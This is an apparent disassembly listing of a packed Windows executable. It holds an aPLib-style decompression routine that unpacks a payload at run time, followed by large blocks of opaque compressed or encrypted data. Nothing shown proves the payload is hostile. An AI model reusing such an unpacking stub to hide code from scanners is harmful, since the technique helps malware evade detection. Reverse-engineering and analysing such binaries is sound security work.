start endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 9328h
dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_4E011B proc near ; CODE XREF: start+7Ep
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_4E0132: ; CODE XREF: sub_4E011B+7Aj
; sub_4E011B+C3j ...
add dl, dl
jnz short loc_4E013B
mov dl, [esi]
inc esi
adc dl, dl
loc_4E013B: ; CODE XREF: sub_4E011B+19j
jnb short loc_4E0127
add dl, dl
jnz short loc_4E0146
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0146: ; CODE XREF: sub_4E011B+24j
jnb short loc_4E0197
xor eax, eax
add dl, dl
jnz short loc_4E0153
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0153: ; CODE XREF: sub_4E011B+31j
jnb loc_4E0238
add dl, dl
jnz short loc_4E0162
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0162: ; CODE XREF: sub_4E011B+40j
adc eax, eax
add dl, dl
jnz short loc_4E016D
mov dl, [esi]
inc esi
adc dl, dl
loc_4E016D: ; CODE XREF: sub_4E011B+4Bj
adc eax, eax
add dl, dl
jnz short loc_4E0178
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0178: ; CODE XREF: sub_4E011B+56j
adc eax, eax
add dl, dl
jnz short loc_4E0183
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0183: ; CODE XREF: sub_4E011B+61j
adc eax, eax
jz short loc_4E018D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_4E018D: ; CODE XREF: sub_4E011B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j
mov eax, 1
loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j
add dl, dl
jnz short loc_4E01A5
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01A5: ; CODE XREF: sub_4E011B+83j
adc eax, eax
add dl, dl
jnz short loc_4E01B0
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej
jb short loc_4E019C
sub eax, ebx
mov ebx, 1
jnz short loc_4E01E3
mov ecx, 1
loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j
add dl, dl
jnz short loc_4E01C9
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01C9: ; CODE XREF: sub_4E011B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_4E01D4
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01D4: ; CODE XREF: sub_4E011B+B2j
jb short loc_4E01C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j
add dl, dl
jnz short loc_4E01FA
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01FA: ; CODE XREF: sub_4E011B+D8j
adc ecx, ecx
add dl, dl
jnz short loc_4E0205
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0205: ; CODE XREF: sub_4E011B+E3j
jb short loc_4E01F1
cmp eax, 7D00h
jnb short loc_4E0228
cmp eax, 500h
jb short loc_4E0223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0223: ; CODE XREF: sub_4E011B+F8j
cmp eax, 7Fh
ja short loc_4E022B
loc_4E0228: ; CODE XREF: sub_4E011B+F1j
add ecx, 2
loc_4E022B: ; CODE XREF: sub_4E011B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_4E0259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0259: ; CODE XREF: sub_4E011B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_4E011B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_4E0265: ; CODE XREF: start:loc_4E0076j
; start+9Dj
jmp loc_53C0A4
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
word_4E026A dw 38E9h ; DATA XREF: start+77o
; ---------------------------------------------------------------------------
les esi, [ebx]
push ebx
add [edi-51EEFE32h], edi
scasb
and dl, [edx-3744E41Fh]
and [eax+3BD7FF46h], edi
mov eax, 37024F3h
test [ebp-22h], edi
inc ebp
db 36h
retn 7F37h
; ---------------------------------------------------------------------------
db 0AFh
dd 0E6D53417h, 1EE10335h, 354BCFEh, 696D6568h, 6A846164h
dd 0E17122EAh, 9822BF1Bh, 0C8BF1EE1h, 0FC46B811h, 46B88733h
dd 3007AFEBh, 8312D34h, 22477E5Fh, 0D0D78F70h, 1EE103C6h
dd 0E101E8AFh, 52B8BB0Bh, 74736507h, 41337261h, 0D32E8B70h
dd 58A7E478h, 0B844D1AAh, 10C5728Bh, 80E860D4h, 0D3ED815Dh
dd 60B0333h, 102D9589h, 91B50D08h, 7D858428h, 0BD830721h
dd 0E70506Fh, 0E88B0C74h, 0FB8E245h, 7078C24Dh, 91E32444h
dd 6A06A53Eh, 29A3E845h, 749A6807h, 0DFA50783h, 4B250A01h
dd 0D5E90A89h, 214E910h, 405F4C91h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub dword ptr [ebx], 0FFFFFFC4h
fsubr st, st(6)
add [edx-7Fh], ebx
jmp far ptr 0C7DAh:8B0034C1h
; ---------------------------------------------------------------------------
dw 4524h
dd 0E6C08D8h, 8896340h, 80F37D81h, 0F741D19h, 83FC0820h
dd 0FF45CC2Bh, 0EB314312h, 61DC36E1h, 0C90A26BAh, 34604C2h
dd 0FF7CC481h, 10490247h, 8D00350Ah, 5D8B8045h, 8551C708h
dd 8D501219h, 0C3D10A80h, 412A1888h, 81280B89h, 5D8006BDh
dd 27A5E375h, 64BA8D0Ah, 8075013Bh, 0F4BB0E8Ah, 3B85B24h
dd 785437ABh, 0FF3D0D3h, 754B080Eh, 0C3AFC1F7h, 4A494647h
dd 0A8F94618h, 0AE61D142h, 0F0D0818Ah, 28EEF6D7h, 284DFC45h
dd 0F2AD04EBh, 3E803146h, 4DBAF740h, 8634B984h, 7FEB0C7Dh
dd 32F8433Eh, 13F0126Dh, 10F40E2Ah, 65C14A05h, 0D60004F0h
dd 3E0D1F8h, 2880E5C2h, 1C8ADB33h, 0FB738030h, 0A0A7230h
dd 0F4057739h, 22C9FBEBh, 192914A6h, 0FD660A0Dh, 7D1EBD08h
dd 0B00AC33Ah, 72411A10h, 460AC30Bh, 247A0677h, 615D0188h
dd 83F4ECF0h, 7202CC7Dh, 0C00CB06Ch, 99A5DD76h, 7F826AAh
dd 0A88D1D38h, 553B02A8h, 78820FFCh, 6B0BDA7h, 43F938AAh
dd 0B98308BAh, 0FCA17082h, 3650BDh, 7470FFEh, 0B9FA7549h
dd 736A1722h, 0D18F01BBh, 0BCEB82F1h, 8E01760Ch, 0C384486h
dd 9D605107h, 0FB1DDF36h, 7268A94h, 305E928h, 10DB8C59h
dd 133C0589h, 5CD98351h, 0D06BC32Ch, 0C304E956h, 0C45E211Dh
dd 256D8A90h, 45820519h, 21801808h, 33C45646h, 210DC2EDh
dd 76F1F481h, 67D831CFh, 0D4D9C06Dh, 14C034CBh, 5B4E3982h
dd 70F7E76h, 43D51B8h, 663BC7D1h, 751D5846h, 11582E09h
dd 0AEC480Eh, 69065E4h, 0C5840064h, 57968E05h, 1E5381A9h
dd 29C20415h, 0CE718C19h, 0AC0EB7E7h, 182BFF66h, 22047781h
dd 0C103341Dh, 7533F984h, 3FBC2020h, 0EFEC0AEEh, 670230CEh
dd 8C13EC41h, 0FFCC3F7Fh, 459F4021h, 0A060E9D4h, 152C462h
dd 11254D8Ch, 9B1AA82h, 845AAB9Ah, 4C561311h, 82155EE7h
dd 508162EEh, 8A892008h, 1344B9F5h, 4397230Ah, 0FE8B50h
dd 0BCDA8D67h, 16A87444h, 94E2813Eh, 0ED23CB4h, 0A6CA0BDFh
dd 0A13B6386h, 59185115h, 8A23C472h, 1E1145h, 0DBC45141h
dd 0FD71ADEh, 0FD2ECCF8h, 8A109762h, 0D4812380h, 8619C813h
dd 2C80C1Ah, 30573852h, 8AE4C45Fh, 1C227546h, 0C4574701h
dd 0F46B83C3h, 181D4BD8h, 210FEA4Ah, 34A425B4h, 0A6C317F7h
dd 6402E38Ah, 61587819h, 8AC8C460h, 0C089917Dh, 0E0C45848h
dd 0BF4DA007h, 5C16B451h, 14562052h, 2D0EE930h, 94BBBCh
dd 0DF9C59DEh, 5F857A96h, 10B1FB0Ah, 0A028398Bh, 0F906DA7Ch
dd 7698C782h, 56B90316h, 2C1CC6BDh, 458E1081h, 0CBBB0E18h
dd 803F1544h, 0C753CA59h, 3203C3E8h, 8B7FB830h, 731001FBh
dd 10431F5Fh, 0CF1F4887h, 3E0C3398h, 4451B273h, 613B76F2h
dd 90E01E53h, 0B95C8005h, 6151219Ah, 0F2290FAh, 0F0845A62h
dd 0FDD907F7h, 8C150382h, 0B683A286h, 0DA186579h, 0E00F2DEAh
dd 52830014h, 0F74E274Ch, 0D7F0B7FFh, 8CDFEB39h, 97383E1Fh
dd 0FDE8B7EAh, 103F621h, 77986F22h, 0D2CB98D3h, 0CF710Eh
dd 30B3D4Ah, 90E3CE84h, 0E6609B74h, 0C5C6E508h, 14851C2Bh
dd 0F47F4D25h, 671FC18h, 0E2F0AB18h, 3E3DDE10h, 0DC20538Ah
dd 1A2F4503h, 0F8EEF350h, 0EC40A1h, 6847664Fh, 0C60DBFE5h
dd 0DC609E60h, 0A44941h, 48437824h, 8456ED31h, 85FB3Dh
dd 0A696C66Bh, 0F6E23CEBh, 0C2F38BF6h, 0D868EC98h, 6BB18D00h
dd 4A3BD5A1h, 6FC1009Dh, 78745E40h, 40C56A4h, 0D1EACEFCh
dd 52EC0042h, 0DE0C0337h, 5303A672h, 4F9106E1h, 909000D7h
dd 0B550E997h, 4303DEBFh, 0B27B243Eh, 0DF881F9Fh, 3D0900D4h
dd 0FDFF301Ah, 0AC70E0C0h, 0A0CF2BF2h, 1A7B634h, 0FDC0FFDFh
dd 0C4507CDCh, 0B300CD40h, 2F35FBE1h, 14F4F6E4h, 9C2AA00Dh
dd 48B83F8Fh, 9D4169F5h, 68299FF0h, 8BC21ECh, 1B00A83Eh
dd 1C3D5DDBh, 0F57B3150h, 0C7AA7A89h, 9EF12009h, 847C0329h
dd 5E4105EEh, 83605D67h, 0C09C8E10h, 8324A9D9h, 0E0BF5A30h
dd 6030C21Ch, 626ED92Fh, 50DCD493h, 49ED848Ch, 7FDE00ECh
dd 4C32CDC3h, 19C1F483h, 1E7BE6FCh, 95E9C8h, 4CC69F03h
dd 7ABD51F0h, 0D4B0A255h, 1E00E3A4h, 0E9328D54h, 30EC3DFCh
dd 2421A11Ch, 0A060EA73h, 13016790h, 4E921A6Fh, 880488A1h
dd 0E8CE45F6h, 0C2D2B840h, 700F9Eh, 31751CDEh, 0A369173Ch
dd 0E793AD03h, 77B55671h, 5B0F5C40h, 43581A00h, 72A19C05h
dd 0BFBE9A18h, 88EC2061h, 7A306A6Eh, 9C3D18B0h, 93BEF29Ah
dd 18EC0604h, 0AA18B9A7h, 6591E372h, 0FDB4001Eh, 0F4696E7h
dd 0CB61827Ah, 1B581D48h, 0F4B081D2h, 0F4489961h, 45E84420h
dd 0AA183E71h, 0D551DE68h, 9DF3194h, 56EB50B8h, 0CE20A0F8h
dd 0AA203B9Dh, 0C531EEB2h, 96702044h, 42415400h, 8CD2A30Dh
dd 0FF90A19h, 40DC84E1h, 14023192h, 4383BE00h, 0E5B97B2Eh
dd 0ED2513C1h, 29511820h, 7300F886h, 0B827898Ah, 3DE9AF5Ah
dd 9A09943Bh, 1423C31Ah, 0C111DF90h, 3C00E76Eh, 0A9E0864Ah
dd 711201F0h, 5020F2A5h, 928E72C4h, 0F18700F4h, 0E7250C5Ah
dd 6531F4ECh, 50B9C997h, 0F889F2E9h, 0C0023B46h, 0E402DF7Bh
dd 0A54446Ah, 15E85813h, 51E50FECh, 12A62E1h, 90498EADh
dd 0CE6DA628h, 77DB0570h, 0E092F1h, 1C740DE8h, 6230707Ah
dd 5B14D1D6h, 0CAE11D5Ah, 0E82900A2h, 68BA5CDh, 8449807h
dd 10F7ED8Ch, 0AE70E4E0h, 195B00C4h, 0A6CD3DB8h, 253A5E67h
dd 510075D0h, 866242EEh, 3C69AE4Ch, 0C600EF0Eh, 124335DCh
dd 313E2F8Eh, 0C85B808Fh, 0B01963C4h, 0BB101DE0h, 0B792C0D4h
dd 0A65C5368h, 26F6ED00h, 6BCC37A7h, 0EEEC005Ah, 8FE1AC1Eh
dd 3092CF20h, 904CCE03h, 993BE59Ah, 0C44BB30h, 1CC0DC97h
dd 50926AEBh, 41A7A8C2h, 7A8001E9h, 289900A0h, 38F6699Fh
dd 202AA419h, 0CA058827h, 0C5B5B11Fh, 0AB8F3B80h, 0E7479862h
dd 0F8404022h, 0DE781FA5h, 0C3AE4A26h, 943D02BCh, 0C0496F20h
dd 50A830E1h, 6A88777Dh, 64B14D0Ah, 66DBC601h, 20F2EC26h
dd 6F0831A8h, 0EC88272h, 9E6048F6h, 62169D71h, 0F4B28A24h
dd 1132086h, 73DD0960h, 20A57Ah, 3234241Ah, 5E978001h
dd 8AC3A49Ch, 1E826C5h, 44BC90B5h, 461A65E3h, 0A578FB14h
dd 448CB558h, 303F07E6h, 70488F3Bh, 9EE01B82h, 78613900h
dd 216F5F64h, 0F4B73BB5h, 198364C8h, 842338h, 243DD27Bh
dd 0B12628A3h, 5A0E008Ch, 0A09EE493h, 69C1F123h, 0A4266845h
dd 1B8800C3h, 6BF2BAB0h, 132CECB6h, 0AA86205Ch, 30B9F570h
dd 0E471A4C5h, 210FCF43h, 0D20B48h, 0CC3B0FEDh, 0B08C3DD6h
dd 9A0C4EBCh, 78F861ADh, 93C9140h, 0F347281Ch, 48D54A9h
dd 0F37EE951h, 60673111h, 0AA2E651Fh, 1299C4D0h, 18FB4910h
dd 7791Ch, 0E1DB6E93h, 1CC4A5ACh, 8F6CEF04h, 0BCC821A0h
dd 59676FF4h, 0E1FBF100h, 4004666h, 0FC96E817h, 30A0A6E3h
dd 9A306124h, 552C60E2h, 0A36008BBh, 72BB4FEh, 0A0681BEBh
dd 0AD10F292h, 9997C886h, 1C3A5CB2h, 862CCC58h, 0C799295h
dd 0E8FB3891h, 6A007218h, 0E2F10E96h, 0ED072819h, 6E42C20h
dd 0CB20C2BEh, 0AB4C28DEh, 11C8D01Ch, 0EB08E469h, 33E9C11h
dd 53D54794h, 4DD1E7A3h, 0D88906CCh, 9890CF31h, 3500E2BFh
dd 73547604h, 0C142F26h, 955CF4EBh, 4F07F0A1h, 0FB273E7Bh
dd 0FC6893C0h, 5992786Eh, 231164DAh, 0E5CE18F3h, 1627259h
dd 0A29E053Ch, 203DBB02h
dd 6F88E834h, 0C0F258D1h, 13D09E10h, 98048AD4h, 0C506CF57h
dd 0A51D81A3h, 88406150h, 9AFA3CF5h, 55A90014h, 4EB7212Eh
dd 6EC0B55Dh, 0DD4119C6h, 80AE5579h, 87DC2EE1h, 20BF00EAh
dd 0D89B3033h, 3800D6CFh, 0D05FAD34h, 506B90D1h, 48DCFC46h
dd 83182CEEh, 0C28A9F8h, 60248E00h, 5D02A4AFh, 2B110132h
dd 0D07CA1B1h, 33E3CE14h, 0EE6F7100h, 15F8C47h, 38050481h
dd 98EF3E44h, 1E140DF4h, 3FC40420h, 0FC692C5Eh, 7C501B40h
dd 45F8A01Ch, 8050E9C5h, 3C97E374h, 0A91C4392h, 6ABC80EBh
dd 45F6868Dh, 267C6702h, 69C442A3h, 98E2F278h, 301DDDACh
dd 0C6700C84h, 1A5CECA5h, 82A48180h, 0C501BAC2h, 10719C96h
dd 805F8549h, 7AD6BFFCh, 4B09154h, 0A09E7270h, 0CD0CF1C8h
dd 3998C60Bh, 3ACF6CCh, 90CF744Fh, 0F822938Fh, 1DEB28E9h
dd 0A2C4083Ch, 391966Eh, 0F922FC58h, 5307FD07h, 2EC07Bh
dd 0E146C3E2h, 0EE80002Dh, 0B169DA7Ah, 451CFCA9h, 181825DEh
dd 176701E0h, 0DC04CDh, 0EB935385h, 1009AE56h, 8FE43D70h
dd 3B90880h, 0B3651236h, 46E560F0h, 0FB5D6707h, 0A8666A16h
dd 0AE6E1EE1h, 0A0A49566h, 0E527D000h, 7A6F3361h, 28A58E37h
dd 0ECDE8249h, 82708917h, 0F971240h, 0FD8C9DDh, 0AEEF28A0h
dd 934220A0h, 1F18283Ch, 23DAF9E7h, 0F72450B0h, 0F00C040Bh
dd 8A2D30B7h, 801E5481h, 0B4FC00F9h, 0B06098D6h, 0A4A55360h
dd 0C01CED22h, 5E1C114Dh, 83043CECh, 14939ED6h, 1A307189h
dd 50F8B025h, 510E0885h, 4B00F8CCh, 0E8A02C98h, 9D55BE71h
dd 11DC248Ch, 0E0827D03h, 5005B425h, 0BA9EC4E1h, 0AD792A90h
dd 99850088h, 257E3CD6h, 10000864h, 66527662h, 28C0506Dh
dd 49B43DC8h, 0C406C044h, 88947682h, 4A34697Ch, 30A26023h
dd 0F302253Bh, 0CF9AAB44h, 3662F0C0h, 7878BA62h, 0B12220A3h
dd 0D401387Ah, 0A425E852h, 94245E72h, 5AA01E34h, 105102AFh
dd 0DC85DD3Fh, 0F902073h, 0A2179C6Ch, 0E04F991Eh, 5D43A0C5h
dd 1679273h, 0F1B529D3h, 80AC78FFh, 7E6CB471h, 527286h
dd 0C406CE47h, 0EEAB8842h, 0A9D28100h, 0F42DCB65h, 59E866h
dd 4A443E64h, 0D46C4688h, 96DC1C0Eh, 0E64380B9h, 0A3F12C1Dh
dd 0C6459888h, 83F0A89Fh, 0FD56583Ah, 0A780BA3Bh, 10A39342h
dd 710A8275h, 0D4ACF27Ah, 0F4EA2A80h, 5867581Bh, 0E041CE3h
dd 0A83292h, 0A2308611h, 0F4E917F9h, 1B1C205Dh, 648E328h
dd 0A0660140h, 2B4E60D7h, 686229D5h, 0D1D81A7Ch, 50843042h
dd 0F9684753h, 0C4FF82E1h, 887E044Eh, 3000B7F9h, 467C8005h
dd 1F94CE49h, 0DBE7BFC8h, 0C7AA1968h, 81FEB141h, 0A81BC40h
dd 2FFC389Fh, 597E605Fh, 32F7EA83h, 0C47F21Dh, 0C84800FEh
dd 0C9E33EFDh, 31C400CEh, 5397FC5h, 2F0FE252h, 4764D4B6h
dd 0AD8E4E8Eh, 300C103Fh, 84FADFh, 302DCE3h, 0AD8B15A9h
dd 76BCF00h, 7C7FD3FEh, 7A491B4Ah, 72E3B883h, 4241C810h
dd 677DE005h, 767C08C9h, 9934341Ch, 0B146840Ch, 0E2541F17h
dd 378870D4h, 38C0C673h, 0B26165BEh, 0D975160Eh, 30371081h
dd 0A4B7FD0Ah, 0C1489C94h, 987BC52Fh, 0FD51D16Ch, 2854019Bh
dd 686E0848h, 50B491FAh, 0A8A87BE1h, 541813C1h, 19919C2Ah
dd 5D4A3280h, 1BE06279h, 0D8612A4Ch, 4ACC8221h, 22277440h
dd 18325480h, 6A5918B9h, 0F04C80A7h, 0E14CA8DFh, 7ADA715Ch
dd 4441C702h, 540F4067h, 3745DA3h, 4200B3F0h, 0E8EA62A9h
dd 0A1916BC4h, 0C5104584h, 0C26065C0h, 0E8F7EC41h, 0E5DD039Ah
dd 497CE38Eh, 31F2A7EFh, 0D698AFC5h, 2A01F890h, 5DC94CA0h
dd 0A07C1A28h, 3265FA19h, 4EC8E451h, 74A976E3h, 6AAD0046h
dd 7D537F10h, 0BF0D473Ch, 0C10108A3h, 507CBBD0h, 14908B7h
dd 912FBCFAh, 53A0E7C8h, 101580D0h, 1D8037E1h, 705CD4B8h
dd 0F44CCC4Ah, 0C1971831h, 284FBAC1h, 0A18C9824h, 85D0E128h
dd 4A588A61h, 0B8D062h, 30FB452Ch, 3ECBBF31h, 0CAB03538h
dd 3C8D52F1h, 78BBD10Ah, 0FC7840C2h, 83351B26h, 0A0D039BFh
dd 52C748C9h, 2C0F03B9h, 24D39180h, 144C97EEh, 0CA8AF436h
dd 0C815D63Ch, 8D464E8h, 8324C099h, 0B2B77BC4h, 0B1343142h
dd 15D20173h, 8F47EC80h, 96FCEA0h, 0C6DAC529h, 8606B423h
dd 0CA493AF0h, 0CFB8A42Ch, 68564820h, 0D986C8BCh, 9C9CC17Ch
dd 0E992B961h, 0E7C70802h, 7FA8A760h, 0CC2CA189h, 618C754Bh
dd 0D1A9EBA5h, 62322084h, 0EC5D7F03h, 3CC8434h, 80264B71h
dd 99885415h, 30E9C6Fh, 524465E4h, 270D015h, 0DA278EB0h
dd 2DC461FDh, 0DD01819Eh, 1429BECBh, 0BC379420h, 0C3ED6D82h
dd 45A07840h, 0FD489C90h, 0C5C107A0h, 3033C6BFh, 10085093h
dd 38CE638Fh, 4A90D58Eh, 6C00E9E8h, 19BA03DCh, 3A39CF6h
dd 0F845CC4Ch, 46F0D0CBh, 1100360Bh, 15871BE3h, 0F5D18h
dd 478EFA4Bh, 1470A01Fh, 6F8BD202h, 0E0AD8C25h, 48585h
dd 535CB197h, 0E40C2A0Dh, 401D0732h, 746343h, 419FF941h
dd 6F82CC11h, 0CF907B00h, 3950DE28h, 7FD8E3D0h, 0C2600E6h
dd 148754F3h, 197655D6h, 568ECB00h, 1142ECFBh, 6D812CFEh
dd 0D5044888h, 4BF8A87Eh, 58EE091Eh, 0D800CC07h, 40D9C326h
dd 0C048DE00h, 7C2BC790h, 16290038h, 421D45E4h, 18036A17h
dd 5AB93685h, 1540001Fh, 80167504h, 283AA655h, 0BE390EE1h
dd 0D7B609Dh, 7F9D12Eh, 190C2DE0h, 284905Eh, 1F0E538Fh
dd 0F0E25AF4h, 0A1552A00h, 3A85034Bh, 5FC9B400h, 0DB82E650h
dd 61463818h, 0D59EB01h, 0D4B8F855h, 5B0117ADh, 1F75D10Eh
dd 0D029624h, 22673861h, 80A5EB94h, 1846DE1Fh, 6C8B0200h
dd 28A75525h, 3A840003h, 7F39C5B1h, 160026F6h, 0B5B1C15h
dd 0E25CE9h, 4FB9CCC0h, 0DC59E71Fh, 2D7E3E00h, 4ED98BF6h
dd 0BF8700DEh, 4638D3A7h, 0B400ED05h, 45994BFCh, 7DB7015h
dd 4FBA368Ch, 1740E021h, 1B007E3Fh, 28AE8EF6h, 0BD8809h
dd 795DD1CBh, 1519E3F9h, 0E1D601Dh, 80127040h, 785BACCh
dd 116CECF4h, 81AC6F3Fh, 9163A40h, 8C6AC5C2h, 0B5D000BFh
dd 469FE851h, 8BD10014h, 0D7C1261Ah, 3AE8CD3Dh, 63CED510h
dd 160D3300h, 0E141875Fh, 811E58h, 0E8448ECBh, 9B59EAh
dd 372DB6C9h, 0D25A7C5h, 0C4F85C00h, 0F44D2C06h, 1E18F2E3h
dd 0C045976Dh, 3A550FE1h, 240185C0h, 0FFDE41EEh, 0E0EB2A88h
dd 0FCC329Dh, 0CDDB3948h, 0E3E77620h, 1B12F10Fh, 0FC1C0E5Eh
dd 8CFA8480h, 0E81986h, 0AF3F1058h, 0E4908216h, 8503483Ah
dd 3606B53Bh, 2030AC82h, 69170D84h, 8998AEEh, 0F47F04A3h
dd 0B5111400h, 0BB08EA4Eh, 34EF00F5h, 0C4F354D1h, 34A58196h
dd 49A150h, 0F18718E6h, 4ED2E5F2h, 0A9A4F002h, 0B8E9E261h
dd 60FAD31Ch, 9C7F10A6h, 0E87CC5BFh, 14D9B528h, 27FEDF00h
dd 831445E3h, 0CB09E27Eh, 0EC20D708h, 0B928363Eh, 2F308B01h
dd 764CCBAAh, 40F45D13h, 6B704373h, 156C00B0h, 0D32F492Ah
dd 0BE05B8DCh, 0AD8B124Eh, 33AE4E0h, 5396221h, 80B8D1C5h
dd 93003622h, 4E66BFC8h, 0CAB835D0h, 0B641D38h, 69839FF9h
dd 0BC887C7Ah, 7F53E9D0h, 30CE201Ch, 4AD9FE09h, 1100DA41h
dd 716BBFCAh, 605DFD18h, 0A48EB12Eh, 0C13C2208h, 0C5A70062h
dd 0A3F5BD5Ch, 0E8FCCAh, 60B4DF11h, 7D47CC22h, 0B78189DCh
dd 7C7FCAADh, 0C4054F1h, 0E909A69Dh, 27E01E03h, 416059B9h
dd 432A4CE9h, 84C0BEADh
dd 7B6949h, 452968E5h, 841B5075h, 353A448Ah, 8060832Ah
dd 0E77AF278h, 0A48008BCh, 4E19C0C9h, 35D17DBh, 20C0C446h
dd 0C0B209FCh, 15D3E500h, 0CB786BF5h, 90674A2Dh, 20A462F8h
dd 6F324200h, 59ECABB3h, 3DBB00F4h, 0F082E283h, 23008D5Bh
dd 19636045h, 31FFFDE5h, 48E0C09Dh, 0E0544049h, 6D201081h
dd 86C41E68h, 0FE04C0E9h, 0E5C9E2E6h, 8DA00695h, 0F0A70021h
dd 0D24FBCBFh, 0D7050325h, 70E151B8h, 5ECA9404h, 46589496h
dd 0BFE3020Eh, 31F6FDFEh, 0F2A51073h, 0B66901BFh, 0DE2360AEh
dd 5DB3E424h, 11F87C54h, 45A44D00h, 29AE6837h, 0C8E45007h
dd 8C48FDB2h, 0ECC150E6h, 446D0092h, 0BC7D7F9Fh, 22ECD21Ah
dd 80A5473Dh, 0B703B802h, 628FF08h, 6D4EFA13h, 0CE00897Ah
dd 0DA4499C5h, 0FAC431Eh, 1813814Fh, 0C2BDB6AEh, 0F30538BAh
dd 0F991E897h, 0A4DEE80h, 0B9C2DEEBh, 414F5424h, 299DF60Eh
dd 515380F1h, 0DB8DACFDh, 97479C00h, 151F72EFh, 0F92A3BB6h
dd 0DD751800h, 0E25295B8h, 5009AE31h, 48404C35h, 7A0E28DEh
dd 9C28C08Fh, 495E634Eh, 0A7126CEAh, 406C5C9h, 731CD66h
dd 80A81A97h, 8C4220BBh, 363B234Ch, 9A4877C8h, 0B7F90014h
dd 7C801152h, 0D0FE25h, 37540F4Ch, 5EA902B3h, 69D43854h
dd 4113FA00h, 2E31804Eh, 74AE7617h, 0A8B0672Ah, 82CA14E8h
dd 0E4301510h, 0FE3708BFh, 0A458E34Eh, 0DBF01EBh, 0C8D65072h
dd 7A7CD42Bh, 5455D348h, 1F8C1238h, 0D402BFDFh, 71882856h
dd 0BFEEA180h, 0E234C0CCh, 0DC60A8AFh, 127B31h, 67570DC5h
dd 7FE61FF2h, 0A0D1A724h, 244AC480h, 6EBFC7EFh, 9F435165h
dd 2000A699h, 0BE303A55h, 93AF86h, 28DF0EE8h, 0B76F9C73h
dd 1529A09h, 3240098h, 0A8F707FEh, 257948ACh, 0CCC8391Ah
dd 50C1D4D5h, 57E1C7FEh, 4B58A19Fh, 48105F3Bh, 8C071862h
dd 0A91ABAD0h, 0E0ACFB74h, 41212830h, 2D008C10h, 0D91421E8h
dd 0CC3834DFh, 19D1BE78h, 376F4C03h, 18914ACCh, 41FC7B59h
dd 54482582h, 0E908405Dh, 40B3B3F8h, 0E5283801h, 19FEE445h
dd 304410DBh, 0C9B50028h, 16CB0831h, 434CD018h, 100E2398h
dd 0C8ECC8B2h, 4E1C04D5h, 0C3B098D3h, 21BCFE89h, 0D73BC43Bh
dd 51B93102h, 4C616181h, 280C791Dh, 0CD20C0C6h, 0E2541397h
dd 0ACEC5077h, 16013523h, 0ABACE8Ch, 3B882A18h, 0CF8C000Eh
dd 5AF1CB9h, 8F3F67FBh, 4C0801F7h, 0D4668027h, 385AA180h
dd 0A8EFA72Fh, 24B74F00h, 49459F39h, 0C7F626D7h, 904676C4h
dd 0BA4A1Dh, 0CB7A1B9Dh, 7DE87947h, 8224A8A0h, 0FA4E7C04h
dd 0B8BDE08Bh, 395F3CC3h, 6CACC900h, 0AE6E1FB1h, 0C2460176h
dd 0B37C84D3h, 0CCE05104h, 0D0A04848h, 19CFDA30h, 0A15780h
dd 612B645Ch, 0E03BB751h, 5D711E00h, 0AC1DADA3h, 655A0004h
dd 48ABD49Ah, 7E00E6BCh, 8AB8DBE3h, 300A4E25h, 0C5A0A6CFh
dd 78503931h, 2AB045D8h, 8F144971h, 0EC90CD3Fh, 0E2C8C71h
dd 6D08E478h, 37980C75h, 6540CD10h, 5FE2184Eh, 0CBD380B1h
dd 2F93D9C1h, 87F84412h, 65F0002Dh, 0FB064947h, 80B87CEEh
dd 98C8120h, 40B77BC6h, 0E95C20D0h, 8CD2BCCCh, 54AFD303h
dd 2D98FF2h, 52C61B88h, 0E4A134BEh, 20AD41B7h, 3CB042D4h
